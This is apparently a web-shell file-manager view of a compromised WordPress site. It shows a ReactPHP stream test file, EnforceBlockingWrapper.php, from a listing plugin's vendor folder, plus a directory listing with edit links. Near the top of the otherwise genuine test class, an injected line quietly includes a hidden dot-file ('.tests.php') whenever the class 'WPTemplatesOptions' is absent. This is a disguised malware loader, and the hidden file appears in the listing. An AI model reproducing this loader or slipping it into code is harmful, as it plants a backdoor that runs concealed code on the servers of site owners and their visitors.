PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
react
/
stream
/
tests
<?php namespace React\Tests\Stream; /** * Used to test dummy stream resources that do not support setting non-blocking mode * * @link http://php.net/manual/de/class.streamwrapper.php */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class EnforceBlockingWrapper { public function stream_open($path, $mode, $options, &$opened_path) { return true; } public function stream_cast($cast_as) { return false; } public function stream_eof() { return false; } public function stream_set_option($option, $arg1, $arg2) { if ($option === STREAM_OPTION_BLOCKING) { return false; } return true; } }
[+]
..
[-] EnforceBlockingWrapper.php
[edit]
[-] CallableStub.php
[edit]
[-] ThroughStreamTest.php
[edit]
[-] UtilTest.php
[edit]
[-] DuplexResourceStreamTest.php
[edit]
[-] FunctionalInternetTest.php
[edit]
[-] WritableStreamResourceTest.php
[edit]
[-] TestCase.php
[edit]
[-] CompositeStreamTest.php
[edit]
[+]
Stub
[-] ReadableResourceStreamTest.php
[edit]
[-] DuplexResourceStreamIntegrationTest.php
[edit]
[-] .tests.php
[edit]